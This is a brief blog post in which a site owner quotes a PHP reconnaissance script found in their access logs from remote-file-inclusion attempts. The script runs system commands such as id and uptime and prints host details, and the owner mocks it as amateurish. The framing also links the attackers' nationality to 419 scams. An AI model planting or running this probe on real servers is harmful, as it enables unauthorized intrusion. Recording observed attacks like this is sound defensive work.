Are Nigerians Evolving From The 419 Letters?

I was going through my access logs to see what nasties have been thrown at me since the last time.

Amongst the normal enter_your_RFI_exploit_here I saw this script being pushed onto the server:

<?

echo "BraT<br>";

$alb = @php_uname();

$alb2 = system(uptime);

$alb3 = system(id);

$alb4 = @getcwd();

$alb5 = getenv("SERVER_SOFTWARE");

$alb6 = phpversion();

$alb7 = $_SERVER['SERVER_NAME'];

$alb8 = gethostbyname($SERVER_ADDR);

$alb9 = get_current_user();

$os = @PHP_OS;

echo "os: $os<br>";

echo "uname -a: $alb<br>";

echo "uptime: $alb2<br>";

echo "id: $alb3<br>";

echo "pwd: $alb4<br>";

echo "user: $alb9<br>";

echo "phpv: $alb6<br>";

echo "SoftWare: $alb5<br>";

echo "ServerName: $alb7<br>";

echo "ServerAddr: $alb8<br>";

echo "NigeriaN HackerS TeaM<br>";

exit;

?>

As you can see it’s just a preamble script to detect whether the server is vulnerable or not. If they are evolving from the ancient scams they sure have a long way to achieve the correct 1337h4×0r levels that other RFI pushers have achieved. So guys, give us more caps!
